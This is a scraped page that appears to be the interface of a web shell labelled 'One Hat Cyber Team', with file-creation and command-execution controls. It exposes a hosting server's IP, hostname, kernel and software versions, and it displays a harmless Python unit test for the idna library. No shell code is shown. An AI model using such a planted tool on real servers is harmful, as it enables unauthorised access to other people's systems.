⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.118
Server IP:
77.37.115.141
Server:
Linux sg-nme-web1518.main-hosting.eu 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.3.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
gsutil
/
third_party
/
idna
/
tests
/
View File Name :
test_idna_compat.py
#!/usr/bin/env python import unittest import idna.compat class IDNACompatTests(unittest.TestCase): def testToASCII(self): self.assertEqual( idna.compat.ToASCII("\u30c6\u30b9\u30c8.xn--zckzah"), b"xn--zckzah.xn--zckzah", ) def testToUnicode(self): self.assertEqual( idna.compat.ToUnicode(b"xn--zckzah.xn--zckzah"), "\u30c6\u30b9\u30c8.\u30c6\u30b9\u30c8", ) def test_nameprep(self): self.assertRaises(NotImplementedError, idna.compat.nameprep, "a") if __name__ == "__main__": unittest.main()